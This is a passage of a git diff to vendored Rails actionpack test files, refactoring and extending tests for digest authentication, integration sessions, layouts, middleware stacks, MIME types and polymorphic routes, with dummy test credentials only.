+    assert_equal "Authentication Failed", @response.body
+  end
+
+  test "authentication request with absolute request uri (as in webrick)" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+    @request.env['REQUEST_URI'] = "http://test.host/http_digest_authentication_test/dummy_digest"
+
+    get :display
+
+    assert_response :success
+    assert assigns(:logged_in)
+    assert_equal 'Definitely Maybe', @response.body
+  end
+
+  test "authentication request with absolute uri in credentials (as in IE)" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:url => "http://test.host/http_digest_authentication_test/dummy_digest",
+                                                            :username => 'pretty', :password => 'please')
+
+    get :display
+
+    assert_response :success
+    assert assigns(:logged_in)
+    assert_equal 'Definitely Maybe', @response.body
+  end
+
+  test "authentication request with absolute uri in both request and credentials (as in Webrick with IE)" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:url => "http://test.host/http_digest_authentication_test/dummy_digest",
+                                                            :username => 'pretty', :password => 'please')
+    @request.env['REQUEST_URI'] = "http://test.host/http_digest_authentication_test/dummy_digest"
+
+    get :display
+
+    assert_response :success
+    assert assigns(:logged_in)
+    assert_equal 'Definitely Maybe', @response.body
+  end
+
+  test "authentication request with password stored as ha1 digest hash" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'dhh',
+                                           :password => ::Digest::MD5::hexdigest(["dhh","SuperSecret","secret"].join(":")),
+                                           :password_is_ha1 => true)
+    get :display
+
+    assert_response :success
+    assert assigns(:logged_in)
+    assert_equal 'Definitely Maybe', @response.body
+  end
+
+  test "authentication request with _method" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please', :method => :post)
+    @request.env['rack.methodoverride.original_method'] = 'POST'
+    put :display
+
+    assert_response :success
+    assert assigns(:logged_in)
+    assert_equal 'Definitely Maybe', @response.body
+  end
+
+  test "validate_digest_response should fail with nil returning password_procedure" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => nil, :password => nil)
+    assert !ActionController::HttpAuthentication::Digest.validate_digest_response(@request, "SuperSecret"){nil}
+  end
+
+  private
+
+  def encode_credentials(options)
+    options.reverse_merge!(:nc => "00000001", :cnonce => "0a4f113b", :password_is_ha1 => false)
+    password = options.delete(:password)
+
+    # Set in /initializers/session_store.rb. Used as secret in generating nonce
+    # to prevent tampering of timestamp
+    ActionController::Base.session_options[:secret] = "session_options_secret"
+
+    # Perform unauthenticated request to retrieve digest parameters to use on subsequent request
+    method = options.delete(:method) || 'GET'
+
+    case method.to_s.upcase
+    when 'GET'
+      get :index
+    when 'POST'
+      post :index
+    end
+
+    assert_response :unauthorized
+
+    remove_nonce = options.delete(:remove_nonce)
+
+    credentials = decode_credentials(@response.headers['WWW-Authenticate'])
+    credentials.merge!(options)
+    credentials.merge!(:uri => @request.env['REQUEST_URI'].to_s)
+
+    credentials.delete(:nonce) if remove_nonce
+
+    ActionController::HttpAuthentication::Digest.encode_credentials(method, credentials, password, options[:password_is_ha1])
+  end
+
+  def decode_credentials(header)
+    ActionController::HttpAuthentication::Digest.decode_credentials(@response.headers['WWW-Authenticate'])
+  end
+end
diff --git a/vendor/rails/actionpack/test/controller/integration_test.rb b/vendor/rails/actionpack/test/controller/integration_test.rb
index 7e4c3e17..3869f9db 100644
--- a/vendor/rails/actionpack/test/controller/integration_test.rb
+++ b/vendor/rails/actionpack/test/controller/integration_test.rb
@@ -1,22 +1,12 @@
 require 'abstract_unit'
-require 'action_controller/integration'
-require 'action_controller/routing'
-
-uses_mocha 'integration' do
-
-module IntegrationSessionStubbing
-  def stub_integration_session(session)
-    session.stubs(:process)
-    session.stubs(:generic_url_rewriter)
-  end
-end
 
 class SessionTest < Test::Unit::TestCase
-  include IntegrationSessionStubbing
+  StubApp = lambda { |env|
+    [200, {"Content-Type" => "text/html", "Content-Length" => "13"}, ["Hello, World!"]]
+  }
 
   def setup
-    @session = ActionController::Integration::Session.new
-    stub_integration_session(@session)
+    @session = ActionController::Integration::Session.new(StubApp)
   end
 
   def test_https_bang_works_and_sets_truth_by_default
@@ -38,14 +28,6 @@ class SessionTest < Test::Unit::TestCase
     assert_raise(RuntimeError) { @session.follow_redirect! }
   end
 
-  def test_follow_redirect_calls_get_and_returns_status
-    @session.stubs(:redirect?).returns(true)
-    @session.stubs(:headers).returns({"location" => ["www.google.com"]})
-    @session.stubs(:status).returns(200)
-    @session.expects(:get)
-    assert_equal 200, @session.follow_redirect!
-  end
-
   def test_request_via_redirect_uses_given_method
     path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"}
     @session.expects(:put).with(path, args, headers)
@@ -209,13 +191,10 @@ class SessionTest < Test::Unit::TestCase
 end
 
 class IntegrationTestTest < Test::Unit::TestCase
-  include IntegrationSessionStubbing
-
   def setup
     @test = ::ActionController::IntegrationTest.new(:default_test)
     @test.class.stubs(:fixture_table_names).returns([])
     @session = @test.open_session
-    stub_integration_session(@session)
   end
 
   def test_opens_new_session
@@ -228,20 +207,38 @@ class IntegrationTestTest < Test::Unit::TestCase
     assert_equal ::ActionController::Integration::Session, session2.class
     assert_not_equal session1, session2
   end
+
+  # RSpec mixes Matchers (which has a #method_missing) into
+  # IntegrationTest's superclass.  Make sure IntegrationTest does not
+  # try to delegate these methods to the session object.
+  def test_does_not_prevent_method_missing_passing_up_to_ancestors
+    mixin = Module.new do
+      def method_missing(name, *args)
+        name.to_s == 'foo' ? 'pass' : super
+      end
+    end
+    @test.class.superclass.__send__(:include, mixin)
+    begin
+      assert_equal 'pass', @test.foo
+    ensure
+      # leave other tests as unaffected as possible
+      mixin.__send__(:remove_method, :method_missing)
+    end
+  end
 end
 
 # Tests that integration tests don't call Controller test methods for processing.
 # Integration tests have their own setup and teardown.
 class IntegrationTestUsesCorrectClass < ActionController::IntegrationTest
-  include IntegrationSessionStubbing
-
   def self.fixture_table_names
     []
   end
 
   def test_integration_methods_called
     reset!
-    stub_integration_session(@integration_session)
+    @integration_session.stubs(:generic_url_rewriter)
+    @integration_session.stubs(:process)
+
     %w( get post head put delete ).each do |verb|
       assert_nothing_raised("'#{verb}' should use integration test methods") { __send__(verb, '/') }
     end
@@ -250,8 +247,6 @@ end
 
 class IntegrationProcessTest < ActionController::IntegrationTest
   class IntegrationController < ActionController::Base
-    session :off
-
     def get
       respond_to do |format|
         format.html { render :text => "OK", :status => 200 }
@@ -263,6 +258,14 @@ class IntegrationProcessTest < ActionController::IntegrationTest
       render :text => "foo: #{params[:foo]}", :status => 200
     end
 
+    def post_with_multiparameter_params
+      render :text => "foo(1i): #{params[:"foo(1i)"]}, foo(2i): #{params[:"foo(2i)"]}", :status => 200
+    end
+
+    def multipart_post_with_multiparameter_params
+      render :text => "foo(1i): #{params[:"foo(1i)"]}, foo(2i): #{params[:"foo(2i)"]}, filesize: #{params[:file].size}", :status => 200
+    end
+
     def post
       render :text => "Created", :status => 201
     end
@@ -278,19 +281,18 @@ class IntegrationProcessTest < ActionController::IntegrationTest
     end
   end
 
+  FILES_DIR = File.dirname(__FILE__) + '/../fixtures/multipart'
+
   def test_get
     with_test_route_set do
       get '/get'
       assert_equal 200, status
       assert_equal "OK", status_message
-      assert_equal "200 OK", response.headers["Status"]
-      assert_equal ["200 OK"], headers["status"]
       assert_response 200
       assert_response :success
       assert_response :ok
-      assert_equal [], response.headers["cookie"]
-      assert_equal [], headers["cookie"]
       assert_equal({}, cookies)
+      assert_equal "OK", body
       assert_equal "OK", response.body
       assert_kind_of HTML::Document, html_document
       assert_equal 1, request_count
@@ -302,14 +304,11 @@ class IntegrationProcessTest < ActionController::IntegrationTest
       post '/post'
       assert_equal 201, status
       assert_equal "Created", status_message
-      assert_equal "201 Created", response.headers["Status"]
-      assert_equal ["201 Created"], headers["status"]
       assert_response 201
       assert_response :success
       assert_response :created
-      assert_equal [], response.headers["cookie"]
-      assert_equal [], headers["cookie"]
       assert_equal({}, cookies)
+      assert_equal "Created", body
       assert_equal "Created", response.body
       assert_kind_of HTML::Document, html_document
       assert_equal 1, request_count
@@ -323,17 +322,9 @@ class IntegrationProcessTest < ActionController::IntegrationTest
       get '/cookie_monster'
       assert_equal 410, status
       assert_equal "Gone", status_message
-      assert_equal "410 Gone", response.headers["Status"]
-      assert_equal ["410 Gone"], headers["status"]
       assert_response 410
       assert_response :gone
-      assert_equal ["cookie_1=; path=/", "cookie_3=chocolate; path=/"], response.headers["Set-Cookie"]
-      assert_equal ["cookie_1=; path=/", "cookie_3=chocolate; path=/"], headers['set-cookie']
-      assert_equal [
-        CGI::Cookie::new("name" => "cookie_1", "value" => ""),
-        CGI::Cookie::new("name" => "cookie_3", "value" => "chocolate")
-      ], response.headers["cookie"]
-      assert_equal [], headers["cookie"]
+      assert_equal "cookie_1=; path=/\ncookie_3=chocolate; path=/", headers["Set-Cookie"]
       assert_equal({"cookie_1"=>"", "cookie_2"=>"oatmeal", "cookie_3"=>"chocolate"}, cookies)
       assert_equal "Gone", response.body
     end
@@ -344,14 +335,16 @@ class IntegrationProcessTest < ActionController::IntegrationTest
       get '/redirect'
       assert_equal 302, status
       assert_equal "Found", status_message
-      assert_equal "302 Found", response.headers["Status"]
-      assert_equal ["302 Found"], headers["status"]
       assert_response 302
       assert_response :redirect
       assert_response :found
       assert_equal "<html><body>You are being <a href=\"http://www.example.com/get\">redirected</a>.</body></html>", response.body
       assert_kind_of HTML::Document, html_document
       assert_equal 1, request_count
+
+      follow_redirect!
+      assert_response :success
+      assert_equal "/get", path
     end
   end
 
@@ -360,8 +353,6 @@ class IntegrationProcessTest < ActionController::IntegrationTest
       xhr :get, '/get'
       assert_equal 200, status
       assert_equal "OK", status_message
-      assert_equal "200 OK", response.headers["Status"]
-      assert_equal ["200 OK"], headers["status"]
       assert_response 200
       assert_response :success
       assert_response :ok
@@ -374,7 +365,7 @@ class IntegrationProcessTest < ActionController::IntegrationTest
       get '/get_with_params?foo=bar'
       assert_equal '/get_with_params?foo=bar', request.env["REQUEST_URI"]
       assert_equal '/get_with_params?foo=bar', request.request_uri
-      assert_equal nil, request.env["QUERY_STRING"]
+      assert_equal "", request.env["QUERY_STRING"]
       assert_equal 'foo=bar', request.query_string
       assert_equal 'bar', request.parameters['foo']
 
@@ -397,6 +388,36 @@ class IntegrationProcessTest < ActionController::IntegrationTest
     end
   end
 
+  def test_post_with_multiparameter_attribute_parameters
+    with_test_route_set do
+      post '/post_with_multiparameter_params', :"foo(1i)" => "bar", :"foo(2i)" => "baz"
+
+      assert_equal 200, status
+      assert_equal "foo(1i): bar, foo(2i): baz", response.body
+    end
+  end
+
+  def test_multipart_post_with_multiparameter_attribute_parameters
+    with_test_route_set do
+      post '/multipart_post_with_multiparameter_params', :"foo(1i)" => "bar", :"foo(2i)" => "baz", :file => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")
+
+      assert_equal 200, status
+      assert_equal "foo(1i): bar, foo(2i): baz, filesize: 159528", response.body
+    end
+  end
+
+  def test_head
+    with_test_route_set do
+      head '/get'
+      assert_equal 200, status
+      assert_equal "", body
+
+      head '/post'
+      assert_equal 201, status
+      assert_equal "", body
+    end
+  end
+
   private
     def with_test_route_set
       with_routing do |set|
@@ -410,4 +431,53 @@ class IntegrationProcessTest < ActionController::IntegrationTest
     end
 end
 
+class MetalTest < ActionController::IntegrationTest
+  class Poller
+    def self.call(env)
+      if env["PATH_INFO"] =~ /^\/success/
+        [200, {"Content-Type" => "text/plain", "Content-Length" => "12"}, ["Hello World!"]]
+      else
+        [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []]
+      end
+    end
+  end
+
+  def setup
+    @integration_session = ActionController::Integration::Session.new(Poller)
+  end
+
+  def test_successful_get
+    get "/success"
+    assert_response 200
+    assert_response :success
+    assert_response :ok
+    assert_equal "Hello World!", response.body
+  end
+
+  def test_failed_get
+    get "/failure"
+    assert_response 404
+    assert_response :not_found
+    assert_equal '', response.body
+  end
+end
+
+class StringSubclassBodyTest < ActionController::IntegrationTest
+  class SafeString < String
+  end
+
+  class SafeStringMiddleware
+    def self.call(env)
+      [200, {"Content-Type" => "text/plain", "Content-Length" => "12"}, [SafeString.new("Hello World!")]]
+    end
+  end
+
+  def setup
+    @integration_session = ActionController::Integration::Session.new(SafeStringMiddleware)
+  end
+
+  def test_string_subclass_body
+    get '/'
+    assert_equal 'Hello World!', response.body
+  end
 end
diff --git a/vendor/rails/actionpack/test/controller/integration_upload_test.rb b/vendor/rails/actionpack/test/controller/integration_upload_test.rb
deleted file mode 100644
index 4af9b7e6..00000000
--- a/vendor/rails/actionpack/test/controller/integration_upload_test.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-require 'abstract_unit'
-require 'action_controller/integration'
-require 'action_controller/routing'
-
-unless defined? ApplicationController
-  class ApplicationController < ActionController::Base
-  end
-end
-
-class UploadTestController < ActionController::Base
-  session :off
-
-  def update
-    SessionUploadTest.last_request_type = ActionController::Base.param_parsers[request.content_type]
-    render :text => "got here"
-  end
-end
-
-class SessionUploadTest < ActionController::IntegrationTest
-  FILES_DIR = File.dirname(__FILE__) + '/../fixtures/multipart'
-
-  class << self
-    attr_accessor :last_request_type
-  end
-
-  # def setup
-  #   @session = ActionController::Integration::Session.new
-  # end
-  def test_post_with_upload
-    uses_mocha "test_post_with_upload" do
-      ActiveSupport::Dependencies.stubs(:load?).returns(false)
-      with_routing do |set|
-        set.draw do |map|
-          map.update 'update', :controller => "upload_test", :action => "update", :method => :post
-        end
-
-        params = { :uploaded_data => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg") }
-        post '/update', params, :location => 'blah'
-        assert_equal(:multipart_form, SessionUploadTest.last_request_type)
-      end
-    end
-   end
-end
diff --git a/vendor/rails/actionpack/test/controller/layout_test.rb b/vendor/rails/actionpack/test/controller/layout_test.rb
index 1120fdbf..7bed9637 100644
--- a/vendor/rails/actionpack/test/controller/layout_test.rb
+++ b/vendor/rails/actionpack/test/controller/layout_test.rb
@@ -3,6 +3,10 @@ require 'abstract_unit'
 # The view_paths array must be set on Base and not LayoutTest so that LayoutTest's inherited
 # method has access to the view_paths array when looking for a layout to automatically assign.
 old_load_paths = ActionController::Base.view_paths
+
+ActionView::Template::register_template_handler :mab,
+  lambda { |template| template.source.inspect }
+
 ActionController::Base.view_paths = [ File.dirname(__FILE__) + '/../fixtures/layout_tests/' ]
 
 class LayoutTest < ActionController::Base
@@ -31,14 +35,8 @@ end
 class MultipleExtensions < LayoutTest
 end
 
-ActionView::Template::register_template_handler :mab,
-  lambda { |template| template.source.inspect }
-
-class LayoutAutoDiscoveryTest < Test::Unit::TestCase
+class LayoutAutoDiscoveryTest < ActionController::TestCase
   def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-
     @request.host = "www.nextangle.com"
   end
 
@@ -55,10 +53,9 @@ class LayoutAutoDiscoveryTest < Test::Unit::TestCase
   end
 
   def test_third_party_template_library_auto_discovers_layout
-    ThirdPartyTemplateLibraryController.view_paths.reload!
     @controller = ThirdPartyTemplateLibraryController.new
     get :hello
-    assert_equal 'layouts/third_party_template_library', @controller.active_layout
+    assert_equal 'layouts/third_party_template_library.mab', @controller.active_layout.to_s
     assert_equal 'layouts/third_party_template_library', @response.layout
     assert_response :success
     assert_equal 'Mab', @response.body
@@ -67,14 +64,14 @@ class LayoutAutoDiscoveryTest < Test::Unit::TestCase
   def test_namespaced_controllers_auto_detect_layouts
     @controller = ControllerNameSpace::NestedController.new
     get :hello
-    assert_equal 'layouts/controller_name_space/nested', @controller.active_layout
+    assert_equal 'layouts/controller_name_space/nested', @controller.active_layout.to_s
     assert_equal 'controller_name_space/nested.rhtml hello.rhtml', @response.body
   end
 
   def test_namespaced_controllers_auto_detect_layouts
     @controller = MultipleExtensions.new
     get :hello
-    assert_equal 'layouts/multiple_extensions', @controller.active_layout
+    assert_equal 'layouts/multiple_extensions.html.erb', @controller.active_layout.to_s
     assert_equal 'multiple_extensions.html.erb hello.rhtml', @response.body.strip
   end
 end
@@ -82,10 +79,26 @@ end
 class DefaultLayoutController < LayoutTest
 end
 
+class AbsolutePathLayoutController < LayoutTest
+  layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test.rhtml')
+end
+
+class AbsolutePathWithoutLayoutsController < LayoutTest
+  # Absolute layout path without 'layouts' in it.
+  layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/abs_path_layout.rhtml')
+end
+
 class HasOwnLayoutController < LayoutTest
   layout 'item'
 end
 
+class PrependsViewPathController < LayoutTest
+  def hello
+    prepend_view_path File.dirname(__FILE__) + '/../fixtures/layout_tests/alt/'
+    render :layout => 'alt'
+  end
+end
+
 class SetsLayoutInRenderController < LayoutTest
   def hello
     render :layout => 'third_party_template_library'
@@ -98,12 +111,7 @@ class RendersNoLayoutController < LayoutTest
   end
 end
 
-class LayoutSetInResponseTest < Test::Unit::TestCase
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-  end
-
+class LayoutSetInResponseTest < ActionController::TestCase
   def test_layout_set_when_using_default_layout
     @controller = DefaultLayoutController.new
     get :hello
@@ -138,6 +146,24 @@ class LayoutSetInResponseTest < Test::Unit::TestCase
   ensure
     ActionController::Base.exempt_from_layout.delete(/\.rhtml$/)
   end
+
+  def test_layout_is_picked_from_the_controller_instances_view_path
+    @controller = PrependsViewPathController.new
+    get :hello
+    assert_equal 'layouts/alt', @response.layout
+  end
+
+  def test_absolute_pathed_layout
+    @controller = AbsolutePathLayoutController.new
+    get :hello
+    assert_equal "layout_test.rhtml hello.rhtml", @response.body.strip
+  end
+
+  def test_absolute_pathed_layout_without_layouts_in_path
+    @controller = AbsolutePathWithoutLayoutsController.new
+    get :hello
+    assert_equal "abs_path_layout.rhtml hello.rhtml", @response.body.strip
+  end
 end
 
 class RenderWithTemplateOptionController < LayoutTest
@@ -150,17 +176,11 @@ class SetsNonExistentLayoutFile < LayoutTest
   layout "nofile.rhtml"
 end
 
-class LayoutExceptionRaised < Test::Unit::TestCase
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-  end
-
+class LayoutExceptionRaised < ActionController::TestCase
   def test_exception_raised_when_layout_file_not_found
     @controller = SetsNonExistentLayoutFile.new
     get :hello
-    @response.template.class.module_eval { attr_accessor :exception }
-    assert_equal ActionView::MissingTemplate, @response.template.exception.class
+    assert_kind_of ActionView::MissingTemplate, @response.template.instance_eval { @exception }
   end
 end
 
@@ -170,12 +190,7 @@ class LayoutStatusIsRendered < LayoutTest
   end
 end
 
-class LayoutStatusIsRenderedTest < Test::Unit::TestCase
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-  end
-
+class LayoutStatusIsRenderedTest < ActionController::TestCase
   def test_layout_status_is_rendered
     @controller = LayoutStatusIsRendered.new
     get :hello
@@ -183,20 +198,18 @@ class LayoutStatusIsRenderedTest < Test::Unit::TestCase
   end
 end
 
-class LayoutSymlinkedTest < LayoutTest
-  layout "symlinked/symlinked_layout"
-end
-
-class LayoutSymlinkedIsRenderedTest < Test::Unit::TestCase
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
+unless RUBY_PLATFORM =~ /(:?mswin|mingw|bccwin)/
+  class LayoutSymlinkedTest < LayoutTest
+    layout "symlinked/symlinked_layout"
   end
 
-  def test_symlinked_layout_is_rendered
-    @controller = LayoutSymlinkedTest.new
-    get :hello
-    assert_response 200
-    assert_equal "layouts/symlinked/symlinked_layout", @response.layout
+  class LayoutSymlinkedIsRenderedTest < ActionController::TestCase
+    def test_symlinked_layout_is_rendered
+      @controller = LayoutSymlinkedTest.new
+      get :hello
+      assert_response 200
+      assert_equal "layouts/symlinked/symlinked_layout", @response.layout
+    end
   end
 end
+
diff --git a/vendor/rails/actionpack/test/controller/middleware_stack_test.rb b/vendor/rails/actionpack/test/controller/middleware_stack_test.rb
new file mode 100644
index 00000000..91823101
--- /dev/null
+++ b/vendor/rails/actionpack/test/controller/middleware_stack_test.rb
@@ -0,0 +1,90 @@
+require 'abstract_unit'
+
+class MiddlewareStackTest < ActiveSupport::TestCase
+  class FooMiddleware; end
+  class BarMiddleware; end
+  class BazMiddleware; end
+
+  def setup
+    @stack = ActionController::MiddlewareStack.new
+    @stack.use FooMiddleware
+    @stack.use BarMiddleware
+  end
+
+  test "use should push middleware as class onto the stack" do
+    assert_difference "@stack.size" do
+      @stack.use BazMiddleware
+    end
+    assert_equal BazMiddleware, @stack.last.klass
+  end
+
+  test "use should push middleware as a string onto the stack" do
+    assert_difference "@stack.size" do
+      @stack.use "MiddlewareStackTest::BazMiddleware"
+    end
+    assert_equal BazMiddleware, @stack.last.klass
+  end
+
+  test "use should push middleware as a symbol onto the stack" do
+    assert_difference "@stack.size" do
+      @stack.use :"MiddlewareStackTest::BazMiddleware"
+    end
+    assert_equal BazMiddleware, @stack.last.klass
+  end
+
+  test "use should push middleware class with arguments onto the stack" do
+    assert_difference "@stack.size" do
+      @stack.use BazMiddleware, true, :foo => "bar"
+    end
+    assert_equal BazMiddleware, @stack.last.klass
+    assert_equal([true, {:foo => "bar"}], @stack.last.args)
+  end
+
+  test "insert inserts middleware at the integer index" do
+    @stack.insert(1, BazMiddleware)
+    assert_equal BazMiddleware, @stack[1].klass
+  end
+
+  test "insert_after inserts middleware after the integer index" do
+    @stack.insert_after(1, BazMiddleware)
+    assert_equal BazMiddleware, @stack[2].klass
+  end
+
+  test "insert_before inserts middleware before another middleware class" do
+    @stack.insert_before(BarMiddleware, BazMiddleware)
+    assert_equal BazMiddleware, @stack[1].klass
+  end
+
+  test "insert_after inserts middleware after another middleware class" do
+    @stack.insert_after(BarMiddleware, BazMiddleware)
+    assert_equal BazMiddleware, @stack[2].klass
+  end
+
+  test "swaps one middleware out for another" do
+    assert_equal FooMiddleware, @stack[0].klass
+    @stack.swap(FooMiddleware, BazMiddleware)
+    assert_equal BazMiddleware, @stack[0].klass
+  end
+
+  test "active returns all only enabled middleware" do
+    assert_no_difference "@stack.active.size" do
+      assert_difference "@stack.size" do
+        @stack.use BazMiddleware, :if => lambda { false }
+      end
+    end
+  end
+
+  test "lazy evaluates middleware class" do
+    assert_difference "@stack.size" do
+      @stack.use lambda { BazMiddleware }
+    end
+    assert_equal BazMiddleware, @stack.last.klass
+  end
+
+  test "lazy evaluates middleware arguments" do
+    assert_difference "@stack.size" do
+      @stack.use BazMiddleware, lambda { :foo }
+    end
+    assert_equal [:foo], @stack.last.send(:build_args)
+  end
+end
diff --git a/vendor/rails/actionpack/test/controller/mime_responds_test.rb b/vendor/rails/actionpack/test/controller/mime_responds_test.rb
index 0d508eb8..edd71623 100644
--- a/vendor/rails/actionpack/test/controller/mime_responds_test.rb
+++ b/vendor/rails/actionpack/test/controller/mime_responds_test.rb
@@ -162,13 +162,11 @@ class RespondToController < ActionController::Base
     end
 end
 
-class MimeControllerTest < Test::Unit::TestCase
+class MimeControllerTest < ActionController::TestCase
+  tests RespondToController
+
   def setup
     ActionController::Base.use_accept_header = true
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-
-    @controller = RespondToController.new
     @request.host = "www.example.com"
   end
 
@@ -471,7 +469,7 @@ class MimeControllerTest < Test::Unit::TestCase
     assert_equal '<html><div id="html_missing">Hello future from Firefox!</div></html>', @response.body
 
     @request.accept = "text/iphone"
-    assert_raises(ActionView::MissingTemplate) { get :iphone_with_html_response_type_without_layout }
+    assert_raise(ActionView::MissingTemplate) { get :iphone_with_html_response_type_without_layout }
   end
 end
 
@@ -509,12 +507,10 @@ class SuperPostController < PostController
   end
 end
 
-class MimeControllerLayoutsTest < Test::Unit::TestCase
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
+class MimeControllerLayoutsTest < ActionController::TestCase
+  tests PostController
 
-    @controller   = PostController.new
+  def setup
     @request.host = "www.example.com"
   end
 
diff --git a/vendor/rails/actionpack/test/controller/mime_type_test.rb b/vendor/rails/actionpack/test/controller/mime_type_test.rb
index 21ae0419..c7faa621 100644
--- a/vendor/rails/actionpack/test/controller/mime_type_test.rb
+++ b/vendor/rails/actionpack/test/controller/mime_type_test.rb
@@ -81,4 +81,13 @@ class MimeTypeTest < Test::Unit::TestCase
     assert verified.each   { |type| assert  Mime.const_get(type.to_s.upcase).verify_request?, "Verifiable Mime Type is not verified: #{type.inspect}" }
     assert unverified.each { |type| assert !Mime.const_get(type.to_s.upcase).verify_request?, "Nonverifiable Mime Type is verified: #{type.inspect}" }
   end
+
+  def test_regexp_matcher
+    assert Mime::JS =~ "text/javascript"
+    assert Mime::JS =~ "application/javascript"
+    assert Mime::JS !~ "text/html"
+    assert !(Mime::JS !~ "text/javascript")
+    assert !(Mime::JS !~ "application/javascript")
+    assert Mime::HTML =~ 'application/xhtml+xml'
+  end
 end
diff --git a/vendor/rails/actionpack/test/controller/polymorphic_routes_test.rb b/vendor/rails/actionpack/test/controller/polymorphic_routes_test.rb
index 60dcd554..a075fc4a 100644
--- a/vendor/rails/actionpack/test/controller/polymorphic_routes_test.rb
+++ b/vendor/rails/actionpack/test/controller/polymorphic_routes_test.rb
@@ -18,192 +18,280 @@ class Tag < Article
   def response_id; 1 end
 end
 
+class Tax
+  attr_reader :id
+  def save; @id = 1 end
+  def new_record?; @id.nil? end
+  def name
+    model = self.class.name.downcase
+    @id.nil? ? "new #{model}" : "#{model} ##{@id}"
+  end
+end
+
+class Fax < Tax
+  def store_id; 1 end
+end
+
 # TODO: test nested models
 class Response::Nested < Response; end
 
-uses_mocha 'polymorphic URL helpers' do
-  class PolymorphicRoutesTest < Test::Unit::TestCase
+class PolymorphicRoutesTest < ActiveSupport::TestCase
+  include ActionController::PolymorphicRoutes
 
-    include ActionController::PolymorphicRoutes
+  def setup
+    @article = Article.new
+    @response = Response.new
+    @tax = Tax.new
+    @fax = Fax.new
+  end
 
-    def setup
-      @article = Article.new
-      @response = Response.new
-    end
-  
-    def test_with_record
-      @article.save
-      expects(:article_url).with(@article)
-      polymorphic_url(@article)
-    end
+  def test_with_record
+    @article.save
+    expects(:article_url).with(@article)
+    polymorphic_url(@article)
+  end
 
-    def test_with_new_record
-      expects(:articles_url).with()
-      @article.expects(:new_record?).returns(true)
-      polymorphic_url(@article)
-    end
+  def test_with_new_record
+    expects(:articles_url).with()
+    @article.expects(:new_record?).returns(true)
+    polymorphic_url(@article)
+  end
 
-    def test_with_record_and_action
-      expects(:new_article_url).with()
-      @article.expects(:new_record?).never
-      polymorphic_url(@article, :action => 'new')
-    end
+  def test_with_record_and_action
+    expects(:new_article_url).with()
+    @article.expects(:new_record?).never
+    polymorphic_url(@article, :action => 'new')
+  end
 
-    def test_url_helper_prefixed_with_new
-      expects(:new_article_url).with()
-      new_polymorphic_url(@article)
-    end
+  def test_url_helper_prefixed_with_new
+    expects(:new_article_url).with()
+    new_polymorphic_url(@article)
+  end
 
-    def test_url_helper_prefixed_with_edit
-      @article.save
-      expects(:edit_article_url).with(@article)
-      edit_polymorphic_url(@article)
-    end
+  def test_url_helper_prefixed_with_edit
+    @article.save
+    expects(:edit_article_url).with(@article)
+    edit_polymorphic_url(@article)
+  end
 
-    def test_url_helper_prefixed_with_edit_with_url_options
-      @article.save
-      expects(:edit_article_url).with(@article, :param1 => '10')
-      edit_polymorphic_url(@article, :param1 => '10')
-    end
+  def test_url_helper_prefixed_with_edit_with_url_options
+    @article.save
+    expects(:edit_article_url).with(@article, :param1 => '10')
+    edit_polymorphic_url(@article, :param1 => '10')
+  end
 
-    def test_url_helper_with_url_options
-      @article.save
-      expects(:article_url).with(@article, :param1 => '10')
-      polymorphic_url(@article, :param1 => '10')
-    end
+  def test_url_helper_with_url_options
+    @article.save
+    expects(:article_url).with(@article, :param1 => '10')
+    polymorphic_url(@article, :param1 => '10')
+  end
 
-    def test_formatted_url_helper
-      expects(:formatted_article_url).with(@article, :pdf)
+  def test_formatted_url_helper_is_deprecated
+    expects(:articles_url).with(:format => :pdf)
+    assert_deprecated do
       formatted_polymorphic_url([@article, :pdf])
     end
+  end
 
-    def test_format_option
-      @article.save
-      expects(:formatted_article_url).with(@article, :pdf)
-      polymorphic_url(@article, :format => :pdf)
-    end
+  def test_format_option
+    @article.save
+    expects(:article_url).with(@article, :format => :pdf)
+    polymorphic_url(@article, :format => :pdf)
+  end
 
-    def test_format_option_with_url_options
-      @article.save
-      expects(:formatted_article_url).with(@article, :pdf, :param1 => '10')
-      polymorphic_url(@article, :format => :pdf, :param1 => '10')
-    end
+  def test_format_option_with_url_options
+    @article.save
+    expects(:article_url).with(@article, :format => :pdf, :param1 => '10')
+    polymorphic_url(@article, :format => :pdf, :param1 => '10')
+  end
 
-    def test_id_and_format_option
-      @article.save
-      expects(:article_url).with(:id => @article, :format => :pdf)
-      polymorphic_url(:id => @article, :format => :pdf)
-    end
+  def test_id_and_format_option
+    @article.save
+    expects(:article_url).with(:id => @article, :format => :pdf)
+    polymorphic_url(:id => @article, :format => :pdf)
+  end
 
-    def test_with_nested
-      @response.save
-      expects(:article_response_url).with(@article, @response)
-      polymorphic_url([@article, @response])
-    end
+  def test_with_nested
+    @response.save
+    expects(:article_response_url).with(@article, @response)
+    polymorphic_url([@article, @response])
+  end
 
-    def test_with_nested_unsaved
-      expects(:article_responses_url).with(@article)
-      polymorphic_url([@article, @response])
-    end
+  def test_with_nested_unsaved
+    expects(:article_responses_url).with(@article)
+    polymorphic_url([@article, @response])
+  end
 
-    def test_new_with_array_and_namespace
-      expects(:new_admin_article_url).with()
-      polymorphic_url([:admin, @article], :action => 'new')
-    end
+  def test_new_with_array_and_namespace
